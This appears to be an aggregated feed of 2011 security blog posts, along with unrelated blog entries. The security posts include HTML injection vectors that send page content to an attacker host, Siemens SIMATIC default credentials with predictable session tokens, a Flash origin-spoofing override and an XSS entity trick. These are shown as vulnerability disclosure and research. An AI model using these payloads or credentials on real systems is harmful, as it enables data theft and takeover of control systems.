21. One of these bibs, a t-shirt like this, or a ship of their own
22. The iNecklace or iCufflinks
23. A SousVide Supreme Demi
24. The Phantom II RC helicopter
The gift ideas were pretty fun, and I liked having an extra dose of personality from each of the authors.

I hope you enjoyed PHP Advent this year, and I hope to see you again next year. I'll leave you with these words of wisdom from Derek Sivers, probably my favorite lesson from this year:

Never forget that all of these things we do — making money, building a company, whatever — are all leading to the eventual goal of having enough money to do whatever we want. So, take a shortcut to that goal, and do whatever you want in the meantime.

Jeremiah Grossman

Terrified

Posted: December 29th, 2011, 7:42am CST by Jeremiah Grossman

Tags: [edit]

Over my career I’ve given exactly 295 public presentations, to audiences as small as a table full and up to many thousands. Audience members have said countless times that they really enjoy my speeches. Conference organizers always invite me back, and my feedback scores are always amongst the highest. These are accomplishments I’m proud of and a level of success only achieved with the help of a lot of dedicated people. You might think that after all this experience that I’m extremely comfortable on stage. The reality is that you’d be wrong, very wrong. What most don’t know is that each and every time I’ve present, to this day, I suffer from extreme anxiety, commonly known as stage fright. In my case, terrified would be a more accurate description.

I’ve been known to physically shake, have shortness of breath and a strained voice, speak far too quickly, be statuesque on stage almost like I’m hiding, and feel just overall completely stressed out. Early on I decided that no matter how terrified I was, my message needed to get out there, and it was more important than letting fear stop me. I think my #1 skill as a public speaker is hiding my fear, my terror. My theory was the more experience I gained the faster I’d overcome it. In the meantime in order to cope I developed a pre-presentation ritual.

I’d prepare heavily for each event, pour over the content in every slide, and seek candid feedback from those I trusted. I’d also commonly ask event organizer for details on audience demographics to specifically tailor my comments. I’d then practice ahead of time for small private groups in order to get the timing and flow down. If something or all of it sucked, I’d throw it out. With the assistance of my wife, I’d even get a plan down for precisely what I was going to wear during at show day. Nothing was left to chance. Finally, I block out an hour before each presentation to check out the stage, be alone with time to center, prepare and calm myself down, and of course continue tweaking slides. Being prepared helped take the edge off my anxiety a lot.

The problem was, or is, that no matter how many times I presented, the anxiety, the fear, and terror never really lessened. That is until this last year. Something changed, but what!? Had I finally overcome? I’m not an introspective person so it wasn’t until very recently that I think I figured it out. In 2011 my public presentations weren’t pushing the envelope as much as in years past. The content was good to be sure, but it also focused on “safe” business level subjects and incrementally advancing work from previous years. In short, I really wasn’t putting myself out there as far as I’m used to. In my case, the feeling or fear and terror arises when pushing forth an idea or a concept and unsure if people will think its uncompelling or totally idiotic. A chance you take.

That’s about when I got a call from the TED offering a speaking slot in TEDxMaui. We got to talking about my work and discussing an idea worth spreading. It didn’t take long. Then all of a sudden I’m thrust right back into fear and terror mode, but now that I understand it, the feeling is almost comforting. It signals that I have an opportunity to take things in my industry, in our industry, to a new level --- or of course drive right off a cliff. Either way it’ll be a good show! :)

WhiteHat Security is a leading provider of website security services.

SecuriTeam Blogs

Easy login into Korean Point-of-Sale device

Posted: December 27th, 2011, 6:20am CST by Aviram

Tags: Full Disclosure [edit]

Some things are cross-culture it seems. Especially when it comes to trivial security mishaps.
So I’m at a PoS terminal in a large department store in Seoul and while I’m waiting for the register to ring up my order, I look at the touchscreen where I will be asked for my signature in a moment. I notice a little icon that looks like ’settings’. How can I not click on it?

Oh, it needs a password. Must be this PCI compliance thing everybody is raving about. And no, wiseass, 1-2-3-4-5 doesn’t work.

…But 1-2-3-4 does.

Yup. Unlocked.
Now I need to polish up my Korean to figure out what to do next. Suggestions?

Sorry for the full disclosure guys. And that includes all of you that now need to change your luggage combination.

-

Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
Happy Merry.

Posted: December 22nd, 2011, 4:24pm CST by p1

Tags: Commentary [edit]

It seems to be getting harder to give … greetings at this time of the year. There’s a bit of risk involved. Lots of people think we are exclusive to be simply wishing everyone to enjoy our holiday. (Of course, if you think that, you have no right to use the word “holiday,” now, do you?

I had thought I’d made a decent attempt with “Merry Mid-Winter Party Period.” Until some in the southern hemisphere took exception to the seasonal-centredness of that phrase.

Recently one of our local columnists came up with “non-denominational-culturally-palatable-holiday-seasonal-politically-correct-racially-inoffensive-ritual-drained-of-all-religious-meaning-so-as-to-be-acceptable-to-every-creed-festival.”

So, never mind. Merry Christmas. Whether you like it or not. (If not, you can have a Happy New Year anyway

In keeping with Christmas itself, I wanted to give you a Christmas present. Maybe before some of you disappear into family time and last minute tasks for the Exmas Rush. You don’t have to wait until December 25th if you don’t want to.

Very cute, but possibly not completely original. A great many people have apparently done a “Silent Monks” version. Still, this seems the most involved and active. The earliest versions I could find were from 2008. Slight variation.

Slightly more seriously. And, in response to the commercialization of it all.

For those who want lighter fare. Or, slightly geekier. Or, for those trying to keep warm. Or, for those deeply into their devices.

-

Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!

Curiouser and Curiouser

A Libertarianâs Lament: Why Ron Paul Is An Embarrassment To The Creed | The New Republic

Posted: December 22nd, 2011, 9:15am CST

Tags: Miscellaneous [edit]

Ron Paul's unexpected ascendency in the Republican Party is going to tip off this dialog in the popular press about "Libertarianism" that already has my eyes rolling.

I recommend this article not because I think it does a good job articulating the problem with Ron Paul, but because it gets off a couple of zingers that I do strongly empathize with, such as this:

It irks me that, as far as most Americans are concerned, Ron Paul is the alpha and omega of the libertarian creed. If you were an evil genius determined to promote the idea that libertarianism is a morally dubious ideology of privilege poorly disguised as a doctrine of liberation, you'd be hard pressed to improve on Ron Paul...

I am personally interested in individual liberty. That attracts me to the Libertarian party - who claim to be interested in the same thing and whose think tanks sometimes write good papers on the subject.

Unfortunately, its a bad relationship for me, because, after years of talking to libertarians, I don't think that most of them are really all that interested in individual liberty.

They're basically just interested in not being taxed.

Some think its immoral that they should be taxed because its just like theft. Others have read elaborate rationalizations that trying to build a healthy society is counterproductive and you should just stop worrying about other people and enjoy your money. Whatever the reason, all these people care about is low taxes.

Individual liberty is more complicated than having low taxes. Individual liberty has to do with things like having a right to freedom of speech and being secure against unreasonable searches and seizures and having the right to vote and a guarantee of equal protection under the law. Only a small minority of libertarians care about those things. Most are indifferent, some are actively hostile, and almost none understand the specific policy issues involved or take personal action in support of those issues.

Ergo, we have Ron Paul. Ron Paul is openly hostile to the 14th amendment's guarantee that state governments won't violate the individual rights of people. He is someone who applies the political philosophy of the oligarchy that controlled the 19th century South to modern political issues. He is a principled man, which is more than can be said for a lot of people in politics. Sometimes his principals even lead to desirable results. But ultimately, his principals come from the time before the internal combustion engine, and were discredited in that time, by people we should regard as comparably primitive.

If THEY could think around this but YOU can't - perhaps you're not thinking.

No reasonable understanding of "individual liberty" can be framed through the lens of the political rationalizations of the Slave Power. It was a caste system that had as its central features the violent oppression of people, a total lack of social mobility, and an absence of basic political freedoms and enfranchisement. It was an oligarchy of about 300,000 people who oppressed millions.

How could a movement associated with "individual liberty" become aligned with THAT?

The answer is because they don't actually care about "individual liberty." They just care about lower taxes.

Libertarians have done a terrible job countering the widespread suspicion that theirs is a uselessly abstract ideology of privilege for socially obtuse adolescent white guys.

Libertarians cannot simultaneously have "individual liberty" and Ron Paul. But they do have Ron Paul, and they are about to be associated with him in the national conciousness in a permanent way.

Therefore, it has come time to start pointing out that "libertarianism" has nothing to do with "individual liberty."

Individual liberty is more complicated than having low taxes.

--
Link (Direct) - Link (Reputation Tracking) - Discuss [2] - Reply - Recommend

The Spanner

HTML scriptless attacks

Posted: December 21st, 2011, 10:48am CST by Gareth Heyes

Tags: Security [edit]

Following up on @lcamtuf’s post about a “post xss” world. I thought I’d chip in with some vectors he missed. The textarea consumption technique he mentioned isn’t new and wasn’t invented by “Eric Y. Chen, Sergey Gorbaty, Astha Singhal, and Colin Jackson.” it was openly discussed on sla.ckers for many years (as usual) but anyway lets discuss vectors.
Button as a scriptless vector
Using button is interesting because of two interesting specification changes in HTML5, one is the fact that the default type for a button is a submit and secondly the formaction attribute allows you to change it’s parent form action. In addition button consumes HTML, allowing you store any html after button until the next or non existent closing button tag. Example vector:

<button name=xss type=submit formaction=//evil>I get consumed!
Option as a scriptless vector
A strange fact is option also consumes HTML, pretty obvious when you think about it but could lead to info disclosure like the button example.

<form action=//evil><select name=xss><option><b>steal me!</b>
@import as a scriptless vector
The CSS specification states that @import should continue parsing a url until it encounters a ending “;”. This means you can use it to consume HTML. A vector like the following can steal data:

<style>@import//hackvertor.co.uk? <b>steal me!</b>;
Noscript scriptless vector
Another interesting way to defeat XSS filters is to use the noscript tag as demonstrated by my attack against Caja’s HTML filter.

<noscript><form action=http://google.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=pwnd><textarea name=contents></noscript>

It uses the noscript tag to generate a textarea that when enabled (because of no javascript present) consumes the HTML after. This can also be initiated using security=restricted on IE or the new HTML5 iframe sandbox option. Original report.
Using window.name via base target
You can also use the target attribute to assign the contents of the HTML after to the window name and then later retrieve it x-domain after a user clicks an external link.

<base target=' steal me'<b>test</b>

So here we inject a base tag with a target attribute, the target then assigns everything after ‘ to the window.name and then can be retrieved when the user clicks to the external server.

That’s all folks.

Billy (BK) Rios

The Siemens SIMATIC Remote, Authentication Bypass (that doesn’t exist)

Posted: December 20th, 2011, 7:22pm CST by xssniper

Tags: Lies [edit]

I have been working with ICS-CERT and various vendors over the last year, finding bugs and “responsibly” reporting nearly 1000 bugs… all for free and in my spare time. Overall, its been a great experience. Most of the vendors have been great to work with and ICS-CERT has done a great job managing all the bugs I’ve given them. In May of this year, I reported an authentication bypass for Siemens SIMATIC systems. These systems are used to manage Industrial Control Systems and Critical Infrastructure. I’ve been patiently waiting for a fix for the issue which affects pretty much every Siemens SIMATIC customer. Today, I was forwarded the following from Siemens PR (Alex Machowetz) via a Reuters reporter that made an inquiry about the bugs we reported:

“I contacted our IT Security experts today who know Billy Rios…. They told me that there are no open issues regarding authentication bypass bugs at Siemens.”

For all the other vendors out there, please use this as a lesson on how NOT to treat security researchers who have been freely providing you security advice and have been quietly sitting for half a year on remote authentication bypasses for your products.

Since Siemens has “no open issues regarding authentication bypass bugs”, I guess it’s OK to talk about the issues we reported in May. Either that or Siemens just blatantly lied to the press about the existence of security issues that could be used to damage critical infrastructure…. but Siemens wouldn’t lie… so I guess there is no authentication bypass.

These aren't the Auth Bypasses you're looking for

First, the default password for Siemens SIMATIC is “100”. There are three different services that are exposed when Siemens SIMATIC is installed; Web, VNC, and Telnet. The default creds for the Web interface is “Administrator:100” and the VNC service only requires the user enter the password of “100” (there is no user name). This is likely the vector pr0f used to gain access to South Houston (but only he can say for sure). All the services maintain their credentials separately, so changing the default password for the web interface doesn’t change the VNC password (and vice versa). I’ve found MANY of these services listening on the Internet… in fact you can find a couple here: [www.shodanhq.com]
https://www.google.com/?#q=%22SIMATIC+HMI+Miniweb+on%22

But WAIT, there's MORE!

But WAIT… there’s MORE! If a user changes their password to a new password that includes a special character, the password may automatically be reset to “100”. Yes, you read that correctly… if a user has any special characters in their password, it may be reset to “100”. You can read about these awesome design decisions (and many others) in the Siemens user manuals.
But WAIT… there’s MORE! So I took a look at what happens when an Administrator logs into the Web HMI. Upon a successful login, the web application returns a session cookie that looks something like this:

EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTM3NzQ2OCoxNyo=

Looks pretty secure… right? Well, I harvested sessions from repeated, successful logins and this is what I saw:

EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTM3NzQ2OCoxNyo=
EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTM5MzQ2OCoxOCo=
EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTQwOTQ4NCoxOSo=
EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTQyNTQ4NCoyMCo=
EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTQ0MTUwMCoyMSo=
EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTQ1NzUwMCoyMio=
EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTQ3MzUxNSoyMyo=
EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTQ4OTUxNSoyNCo=

Not so random huh…. If you decode these values, you’ll see something like this:

<STATIC VALUE>*administrator*11377468*17*
<STATIC VALUE>*administrator*11393468*18*
<STATIC VALUE>*administrator*11409484*19*
<STATIC VALUE>*administrator*11425484*20*
<STATIC VALUE>*administrator*11441500*21*
<STATIC VALUE>*administrator*11457500*22*
<STATIC VALUE>*administrator*11473515*23*
<STATIC VALUE>*administrator*11489515*24*

Totally predictable. For those non-techies reading this… what can someone do with this non-existent bug? They can use this to gain remote access to a SIMATIC HMI which runs various control systems and critical infrastructure around the world… aka they can take over a control system without knowing the username or password. No need to worry though, as there are “no open issues regarding authentication bypass bugs at Siemens.”

Next time, Siemens should think twice before lying to the press about security bugs that could affect the critical infrastructure….to everyone else, Merry Christmas

BK

SecuriTeam Blogs

REVIEW: “Surviving Cyberwar”, Richard Stiennon

Posted: December 20th, 2011, 1:51pm CST by p1

Tags: Commentary [edit]

BKSRCYWR.RVW   20110325

“Surviving Cyberwar”, Richard Stiennon, 2010, 978-1-60590-688-1
%A   Richard Stiennon
%C   4501 Forbes Blvd, #200, Lanham, MD   20706
%D   2010
%G   978-1-60590-688-1 1-60590-674-3
%I   Government Institutes/Scarecrow Press/Rowman & Littlefield Publ.
%O   800-462-6420 www.govinstpress.com
%O [www.amazon.com]
[www.amazon.co.uk]
%O   [www.amazon.ca]
%O   Audience n- Tech 1 Writing 1 (see revfaq.htm for explanation)
%P   180 p.
%T   “Surviving Cyberwar”

The introduction is the customarily (for books on currently “hot” topics) vague warning that there is danger out there.

Chapter one, according to the title, is supposed to talk about the “Titan Rain” attacks. In reality it concentrates on Shawn Carpenter and his personal problems, and says very little either about details of the technology, or ideas for defence. China, and various activities in espionage (and diplomatic disagreements with the US), is the topic of chapter two. (One story is not about China.) Although entitled “Countering Cyber Espionage,” chapter three is just about security tools and malware. Chapter four lists random aspects of, and attacks on, email. The Pentagon is dealt with, in similarly haphazard fashion, in chapter five.

A few wars, or tense “situations,” are mentioned in chapter six, along with some possibly related computer involvement. Chapter seven titularly promises DDoS defence, but mostly just talks about distributed denial of service attacks, along with a mention of the error of using BGP (Border Gateway Protocol) as a routing protocol. Aspects of social networking, mostly in support of activism, are noted in chapter eight. Chapter nine is a not-very-useful account of the Estonian cyber-attack of 2007, ten briefly mentions some others in eastern Europe, and eleven mentions the Georgian attack. There is a rambling dissertation on war and various computer security problems in chapter twelve. Chapter thirteen appears to be an attempt to provide some structure to the concept of cyberwar, but establishes very little of any significance. Preparations, by some nations, for cyberwarfare are mentioned in chapter fourteen. Most of the detail is for the US, and there isn’t much even for them. A final chapter says that the existence of cyberwarfare could cause troubles for lots of people.

The content and writing is rambling and disorganized. This reads more like a collection of fifteen lengthy, but not terribly well researched, magazine articles than an actual book. There are many more informative resources, such as Dorothy Dennings’ “Information Warfare and Security” (cf. BKINWRSC.RVW) (which, despite predating this work by a dozen years, still manages to present more useful information). Stiennon does not add anything substantial to the literature on this topic.

copyright, Robert M. Slade   2011     BKSRCYWR.RVW   20110325

-

Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!

sirdarckcat

Doing Cross Page Communication Correctly

Posted: December 16th, 2011, 3:06pm CST by sirdarckcat

Tags: Disclosure [edit]

I haven't updated this blog in more than one year (woops), but it seems like I still have a couple of followers, so I was thinking on what to write about. I was originally planning to post this on August, but the fix was delayed more than expected.

I decided to choose a random target on the interwebs to find an interesting vuln, and since Facebook recently launched it's "Whitehat Program", which rewards people that report them security vulnerabilities (kinda the same as Google's Vulnerability Reward Program), I chose them.

(Note: As of December 15, Facebook says they have fixed the vulnerability, and awarded a $2,500 USD bounty).

So, I took a look at their "main JS file": [connect.facebook.net]

And well, first thing that came to my mind was RPC. Mostly, because I worked implementing the Apache Shindig's version of the Flash RPC, and have helped reviewing easyXDM's implementation, I just knew this is too hard to get right.

A simple grep for ".swf" in their all.js file lead us to "/swf/XdComm.swf". And since I didn't know what domain that was on I tried:

[https:]

And that worked.

So let's see.. I sent it to showmycode.com and we get this:
[www.showmycode.com]

There are several non-security-bugs in that code (some of which I decided to ignore for brevity and keep the WTF quota of this blog low).

In general the security problems found are not specific to FB at all, they are mostly, side effects of bad design decisions from either Flash or the browsers. However, this problems are widely known and can be abused by attackers to compromise information.

Calling security.allowDomain

The first thing I notice is that XdComm calls Security.allowDomain and Security.allowInsecureDomain. This allows to execute code in the context of [https:] so it's an Flash-XSS, FAIL #1.

The way you exploit this is by loading the victim SWF inside the attacker's SWF. That's it. The problem here is that Adobe provides only one API for enabling two very different functionalities. In this case, what Facebook wants is just allow an HTML container to call whitelisted 'callbacks' from the SWF, but inadvertently it is also allowing anyone to load the SWF inside another SWF and access all methods and variables, which can result in code execution.

Adobe actually acknowledges this is a problem, and they will make changes to support this two different use cases. The reason I don't provide a PoC is because there are several applications out there that depend on this behavior and can't easily deploy any fixes, and Adobe is working on fixing this at Flash (which is where it should be fixed). When there's a viable alternative or a good solution I'll post a PoC.

What FB should have done is keep this SWF out of www.facebook.com.

Getting the embedding page location

The second thing I notice is that it's getting the origin of the page hosting the SWF calling:

this.currentDomain = ExternalInterface.call("self.document.domain.toString");

And as any Flash developer should know, ExternalInterface.call isn't something you can actually trust, so now you can "cheat" XdComm.swf into thinking it's being embedded by a page it isn't by simply overriding __flash__toXML.

So, by abusing this vulnerable check, we can actually, listen and send messages on any LocalConnection channel. This doesn't only mean we just defeated the security of the transport, but that also, if any other SWF file uses LocalConnection in facebook.com (or fbcdn.net), we can sniff into that as well. So, FAIL #2.

It is hard, for a movie (or a plugin whatsoever) to know with certainty where it's being hosted. A SWF can be sure it's being hosted same domain, by requiring the hosting page to call a method in the Movie (added by ExternalInterface.addCallback), since by default, Flash only allows movies hosted in the same domain to call callback methods of a movie (this is what we do in Shindig for example), but besides that it's not so simple.

Some insecure methods exist and are widely used to know the hosting page, such as calling:

ExternalInterface.call("window.location.toString")

There are some variations of that code, such as calling window.location.href.toString, which is also simple to bypass by rewriting the String.toString method, and works on all browsers.

It's futile to try to "protect" those scripts, because of the way Flash handles ExternalInterface, it's possible to modify every single call made by the plugin, since when you call ExternalInterface.call, what really happens is that the plugin injects a script to the window with:

ExecScript('try { __flash__toXML(' + yourCode + ') ; } catch (e) { "<undefined;>"; }');

And, __flash__toXML is a global function injected by Flash, which can be modified to return whatever we want.

(function(){
   var o;
   window.__flash__toXML = function () { return o("potato") };
   window.__defineSetter__("__flash__toXML", function(x) {o = x;});
})();

It's worth noting that Flash also bases some of it's security decisions on the value of window.location (such as, if a movie is allowed to be scripted from a website or not), and while this check is more difficult to tamper (and browsers actively fix it), it's still possible to do it, and it's even easier on other browsers such as Safari (in Mac OS) where you can just replace the function "__flash_getWindowLocation" and "__flash_getTopLocation".

Luckily, it seems like we might be able to get at least the right Origin in future versions of Flash, as Mozilla is proposing a new NPAPI call just for this. Let's just hope that Adobe makes this available to the SWF application via some API.

What FB should have done is namespace the channel names, and use some other way of verifying the page embedding the SWF (like easyXDM or Shindig does).

It is also possible for an attacker to specify what transport it wishes to use, so we might be able to force a page to use the Flash transport even when it might also support postMessage.

postMessage should be used cautiously

There's one last thing I found. Facebook has a file which seems to allow an attacker to forge (postMessage) messages as coming from [https:] into another page that allows framing arbitrary pages.

The Proof of Concept is located at [r.i.elhacker.net]
As you can see the page will allow an attacker to send messages and will also allow the attacker to specify the target origin. The attack seems to be hard to do since the "parent" seems to be hard coded. So this is FAIL #3.
This is a good demonstration why the existing implementation of postMessage is fundamentally broken, it's really easy for two different scripts to interfere with each other. I can't actually blame FB for that, it's more like a design problem in postMessage.
Luckily there's a new mechanism to use postMessage (called channel messaging), which partly solves this problem (or at least makes it harder to happen). You can read more about it here: [www.whatwg.org]
Random fact.. This is what Chrome uses internally to communicate with other components like the Web Inspector.

Vendor Response

I reported these issues from [https:] on Tuesday Aug 16 2011 at 2 PM (PST), with the draft of this blogpost, and got a human acknowledgement at 7PM. The issue was finally fixed on December 15 2011.

Conclusion

So well, this was my first post of 2011 (it's December!), and I actually made it because there was a few "de facto" knowledge about Flash that I wanted to put in writing somewhere, and because I had a look at Facebook regarding something not strictly related to work!

In general I am impressed on the security of Facebook applications. While doing this I got locked out of my account like 5 or 6 times (maybe they detected strange behavior?), I noticed several security protections in their API (api.facebook.com/graph.facebook.com), and they actually do protect against other security vulnerabilities that most websites don't know about (such as ExternalInterface.call escaping bugs, content type sniffing, etc).

I was awarded a $2,500.00 USD bounty for this report (not sure how it was calculated), and I'm considering donating it to charity (it can become 5k!). Any suggestions? sirdarckcat

cat slave diary

Security trends for 2012

Posted: December 15th, 2011, 8:38am CST by vanderaj

Tags: OWASP [edit]
1. Folks will continue to use abc123 as their password. They will then be surprised when they’re completely pwned.
2. Folks will continue to not patch their apps and operating systems. They will then be surprised when they’re completely pwned.
3. Folks will continue to use apps as administrator or god like privileges. They will then be surprised when they’re completely pwned.
4. Folks will continue to click shit. They will then be surprised when they’re completely pwned.
5. van der Stock’s immutable law of gullibility: Folks will continue to be sucked in by incredibly basic scams. They will then be surprised when they’re completely pwned.
6. Folks despite extensive and continuous evidence to the contrary for over 25 years, will continue to be sucked in by grandiose vendor claims (“buy X now, and you’ll be protected from X…”) in the unfounded belief that technological solutions can fix people problems. They will then be surprised when they’re completely pwned.
7. Folks will continue to allow mobile and web apps to transmit their sensitive crap without any form transport layer encryption. They will then be surprised when they’re completely pwned.
8. Folks will turn on a firewall and think they’re safe. They will then be surprised when they’re completely pwned. It’s not 1995 any more. Never was.
9. Folks will continue to run old crap, or allow old crap to connect to them. They will then be surprised when they’re completely pwned.
10. Folks will continue to think that they will be safe if they just virtualize or cloud enable their crappy apps. They will then be surprised when they’re completely pwned.
If we can’t learn from our most basic of basic mistakes, 2012 will be exactly like 1989 – 2011. And that’s sad. Because I hate solution free hand waving posts like the above, here are some basic solutions:
- Adopt strong authentication TODAY – passwords have NEVER been appropriate.
- Patch your crap.
- Implement low privilege users and service accounts.
- Don’t click shit.
- Learn about basic phishing and scams.
- Fire folks who post on Twitter or Facebook all day. You know who they are.
- Don’t buy any product marked “Protects against APT”. If you do, fire yourself as you’re an idiot.
- Only use products that use SSL. If you don’t know, assume it doesn’t and find something that does.
- Evaluate your security needs with 2012 in mind – firewalls alone are a few sheep short of a full paddock.
- Upgrade to the latest OS and apps. Not only will your users love you, it’ll be harder to attack you.
- Protect data assets no matter where they are. The plumbing is unimportant.

SecuriTeam Blogs

REVIEW: “Good Night Old Man”, George Campbell

Posted: December 13th, 2011, 6:17pm CST by p1

Tags: Commentary [edit]

BKGNOM.RVW   20111128

“Good Night Old Man”, George Campbell, 2011, 978-9878319-0-3, C$19.95
%A   George Campbell georgeca@telus.net [is.gd]
%C   PO Box 57083 RPO Eastgate, Sherwood Park, AB Canada T8A 5L7
%D   2011
%G   978-9878319-0-3
%I   Dream Write Publishing dreamwrite10@hotmail.com
%O   C$19.95 http://www.dreamwritepublishing.ca 780-445-0991
%O [www.dreamwritepublishing.ca]
%O   Audience i+ Tech 2 Writing 3 (see revfaq.htm for explanation)
%P   342 p.
%T   “Good Night Old Man”

On page 114 the author asserts that even learning to use Morse code “bestowed on us instant acceptance into a society whose members regularly performed tasks too difficult for most others to even attempt.” This statement will be instantly recognizable by anyone in any technical field. This is because in the beginning was the telegraph. And the telegraph begat teletype (and baudot code) and the telephone. And telephone company research labs (in large measure) begat computers. And teletype begat the Internet. And wireless telegraphy begat radio. And radio and the telephone and the Internet and computers begat 4G. (Or, at least, it will begat it once they get it right.) But it all started with the telegraph.

As the author states, any communications textbook will mention the telegraph. Most will tell you Morse code began on May 24th, 1844. Some might mention that it isn’t in use anymore. A few crypto books might let you know that commercial nomenklators were used not just for confidentiality, but to reduce word counts (and thus costs) when sending telegrams. (The odd data representation text might relay the trivium that Morse code is not a binary code of dots and dashes, but a trinary code of dots, dashes, and silence.)

But they won’t tell you anything about what it was like to be a telegrapher, to actually communicate, and help other people communicate with Morse code. How you got started, what the work was, and what your career might be like. This book does.

I am not going to pretend to be objective with this review. George Campbell is my wife’s (favourite) uncle. He’s always liked telling stories, has a fund of stories to tell, and tells them well. For example, he was the first person in North America to know about the German surrender in Europe, since he was the (Royal Canadian Naval Volunteer Reserve) telegrapher who received the message from Europe and passed it on. Of course, the message was in code. But everyone knew it was coming, and he knew who the message was from, and who it was going to. You can learn a lot with simple traffic analysis.

There are lots of good stories in the book. There are lots of funny stories in the book. If you know technology, it is intriguing to see the beginnings of all kinds of things we use today. Standard protocols, flow control, error correction, and data compression. Oh, and script kiddies, too. (Well, I don’t know what else you would call people who don’t understand what they are working with, but do know that if you follow *this* script, then *that* will happen.) It is fascinating to see all of this being developed in an informal fashion by people who are just trying to get on with their jobs.

The title, “Good Night Old Man,” comes from a code the telegraphers themselves used. “GN” (and a “call sign”) was sent when the telegrapher signed off his station for the night. Morse code is no longer used commercially. Within a few years, the last of the “native” speakers will have died off. Morse will become a dead language, possibly studied by some hobbyists and academics, who can tease legibility out of a sample, or laboriously create a message in that form, but without anything like the facility achieved by those who had to use it day in and day out.

This is a last chance to learn a part of history.

copyright, Robert M. Slade   2011     BKGNOM.RVW   20111128

-

Expose the security holes in your products during development. Black Box Testing makes it safer!
The political risks of a DDoS

Posted: December 9th, 2011, 7:49am CST by Aviram

Tags: law [edit]

In Korea, the ruling party performed a DDoS attack, and as result the chairman and most of its officials will resign. Most likely, it will be disbanded completely.
This is probably the most severe result of a cyber attack yet. Of course, the only reason they know who to blame, is because the guy responsible for the attack admitted guilt. DDoS is all fun and games until the guy you hired to do it spills the beans.

-

Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!

hackademix.net

HULK WANT PDF.JS

Posted: December 7th, 2011, 3:27am CST by Giorgio

Tags: mozilla [edit]

A certain greenish guy is pissed off (as usual) because of this (business as usual).

@securityhulk
HULK

HULK HAVE DREAM, THAT SOME DAY POPULAR PDF READERS WILL BE WRITTEN IN LANGUAGE THAT KNOW HOW BIG ARRAYS ARE. IT POSSIBLY INDIGESTION THO.

Bro, you may want to try pdf.js…
Just please, if some comic book of yours comes out garbled and unreadable (can you read, BTW?), don’t get mad at me, OK?

The Spanner

NULLs in entities in Firefox

Posted: December 5th, 2011, 7:00am CST by Gareth Heyes

Tags: Javascript [edit]

HTML5 decided to introduce a load of new entities, I dunno why maybe they thought it wasn’t hard enough to protect against the original ones we had already. Anyway Firefox has a bug or “feature” that allows NULLS inside the entities. I tweeted it but if I don’t post it here it will probably be lost in a sea of tweets. You can place NULLs before the “&” or before the “;” which allows you to construct a pretty weird entity.

javascript&0x00colon; javascript&colon0x00;

These obviously work inside a anchor href and I think in addition FF requires the HTML5 doctype.

Google Online Security Blog

Expanding Safe Browsing Alerts to include malware distribution domains

Posted: December 1st, 2011, 5:05am CST by Jay

Tags: [edit]

Posted by Nav Jagpal, Security Team

For the past year, we’ve been sending notifications to network administrators registered through the Safe Browsing Alerts for Network Administrators service when our automated tools find phishing URLs or compromised sites that lead to malware on their networks. These notifications provide administrators with important information to help them improve the security of their networks.

Today we’re adding distribution domains to the set of information we share. These are domains that are responsible for launching exploits and serving malware. Unlike compromised sites, which are often run by innocent webmasters, distribution domains are set up with the primary purpose of serving malicious content.

If you’re a network administrator and haven’t yet registered your AS, you can do so here.

The Spanner

staticHTML property

Posted: November 29th, 2011, 3:10am CST by Gareth Heyes

Tags: CSSReg [edit]

The static HTML property allows you to get/set filtered HTML directly on the DOM object you’re using. The browser vendors don’t support this property yet, IE has a toStaticHTML function and Firefox via the Noscript plugin emulates toStaticHTML but doesn’t allow you to set/get directly, so I decided to create a JavaScript version that can provide it until the vendors implement it. As I was updating HTMLReg and CSSReg with some new features I thought this might be a good time to add support for it. The problem with static HTML is you have no way to protect an element from overlapping another element. The traditional way HTMLReg protects against this problem is to have a container element that is restricted via CSS to certain dimensions and it’s overflow hidden thus not allowing you to break out of that element via absolute positioning etc.

It’s not possible to have a container for every element so I couldn’t figure out a way to stop this overlapping problem, so each time an element is modified you cannot alter it’s dimensions or position. If you want to have a section of your HTML that you want to allow user input to alter dimensions then you can place a container div like so:

<div id="staticHTML" style="border:1px solid #ccc;position:relative;width:300px;height:300px;overflow:hidden;"></div>

This way the modified HTML can’t break out of this element so any modification of staticHTML inside this element should be safe. You’d need to modify the HTMLReg could when you include it on your site in order to modify dimensions nand positioning like so:

if(Element.prototype && !Element.prototype.staticHTML) { window.Object.defineProperty(Element.prototype, 'staticHTML', { get: function() { HTMLReg.setAppID('staticHTML'); HTMLReg.disablePositioning = false;//changed this line! return HTMLReg.parse(this.innerHTML+''); }, set: function(val) { HTMLReg.setAppID('staticHTML'); HTMLReg.disablePositioning = false;//changed this line! this.innerHTML = HTMLReg.parse(val+''); } }); }

To use the property itself you just read and write to the staticHTML property of the DOM object. You can read the staticHTML property without actually altering the DOM object’s innerHTML. Examples below:

document.getElementById('x').staticHTML='<b>test</b>';
alert(document.getElementById('x').staticHTML)

Finally there is the demo and the usual question. Can you break it?
Static HTML demo
Update….
Oh yeah I got it working in IE7 :O how awesome is that? via htc

Google Online Security Blog

Reminder: Safe Browsing version 1 API turning down December 1

Posted: November 22nd, 2011, 6:46am CST by Jay

Tags: [edit]

Posted by Brian Ryner, Security Team

In May we announced that we are ending support for the Safe Browsing protocol version 1 on December 1 in order to focus our resources on the new version 2 API and the lookup service. These new APIs provide simpler and more efficient access to the same data, and they use significantly less bandwidth. If you haven't yet migrated off of the version 1 API, we encourage you to do so as soon as possible. Our earlier post contains links to documentation for the new protocol version and other resources to help you make the transition smoothly.

